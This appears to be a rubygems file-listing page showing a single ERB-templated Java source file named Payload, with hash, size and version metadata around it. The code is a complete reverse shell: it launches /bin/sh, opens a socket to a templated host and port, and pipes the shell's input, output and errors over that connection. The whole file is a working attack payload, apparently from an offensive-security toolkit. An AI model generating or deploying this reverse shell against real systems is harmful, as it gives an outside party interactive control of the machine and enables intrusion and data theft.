Sha256: 884fd76e421d16a079cf12ee4b4db32bb90b5fc41f13a576906aff40ba8f3aef
Contents?: true
Size: 1.21 KB
Versions: 11
Compression:
Stored size: 1.21 KB
Contents
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Payload { public static void main(String argv[]) throws Exception { String host = <%= params[:host].inspect -%>; int port = <%= params[:port] -%>; String shell = "/bin/sh"; Process process = new ProcessBuilder(shell).redirectErrorStream(true).start(); Socket socket = new Socket(host,port); InputStream process_input =process.getInputStream(); InputStream process_error = process.getErrorStream(); InputStream socket_input = socket.getInputStream(); OutputStream process_output = process.getOutputStream(); OutputStream socket_output = socket.getOutputStream(); while (!socket.isClosed()) { while (process_input.available()>0) { socket_output.write(process_input.read()); } while (process_error.available()>0) { socket_output.write(process_error.read()); } while (socket_input.available()>0) { process_output.write(socket_input.read()); } socket_output.flush(); process_output.flush(); Thread.sleep(50); try { process.exitValue(); break; } catch (Exception e) {} }; process.destroy(); socket.close(); } }
Version data entries
11 entries across 11 versions & 1 rubygems